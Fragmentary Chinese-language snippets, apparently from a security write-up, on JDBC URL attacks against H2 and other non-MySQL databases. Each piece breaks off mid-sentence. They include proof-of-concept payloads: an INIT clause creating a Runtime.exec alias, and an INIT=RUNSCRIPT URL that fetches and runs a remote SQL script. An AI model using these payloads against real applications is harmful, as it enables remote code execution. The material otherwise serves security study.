前言 针对除Mysql的其它数据库的jdbc attack分析 H2 RCE 介绍 H2 是一个用 Java 开发的嵌入式数据库,它本身只是一个类库,即只有一个 jar 文件,可以直接嵌入到应用项目中。H2 主要有如下三个用途: 第一个用途,也是最常使用的用途就在于可以同应用程序打包在一起发布,这
<init>:148, JdbcConnection (org.h2.jdbc)connect:69, Driver (org.h2)getConnection:664, DriverManager (java.sql)getConnection:270, DriverManager (java.sql)main:25, AttackH2ByGroovy (org.su18.jdbc.attack.h2) JavaScript+CREATE TRIGGER# poc Stringurl="jdbc:h2:mem:test;MODE=MSSQLServer;init=CREA...
import javax.naming.Context; import com.mysql.jdbc.jdbc2.optional.MysqlConnectionPoolDataSource; import java.util.Properties; import net.sourceforge.jtds.jdbcx.*; public class ClassPut { public static void main(String a[]) { try { /* JtdsDataSource dataSource=new JtdsDataSource(); dataSource...
INIT RunScript RCE 在H2数据库进行初始化的时候或者当我们可以控制JDBC链接时即可完成RCE,并且有很多利用,首先就是INIT,进行H2连接的时候可以执行一段SQL脚本,我们可以构造恶意的脚本去RCE CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException{Runtime.getRuntime().exec(cmd);return ...
首先对于包含 javac 的环境,即包含 jdk 的环境,可以直接构造 Java 语句进行 RCE。 网上流传的 Poc 为: jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql' poc.sql 的内容为: CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOEx...
jdbc:driver://host:port/database?setting1=value1&setting2=value2 所以JDBC攻击是什么? 在进行数据库连接的时候会指定数据库的URL和连接配置 Connectioncon=DriverManager.getConnection("jdbc:mysql://localhost:3306/test","root","root"); 如果JDBC URL的参数被攻击者控制,可以让其指向恶意SQL服务器 ...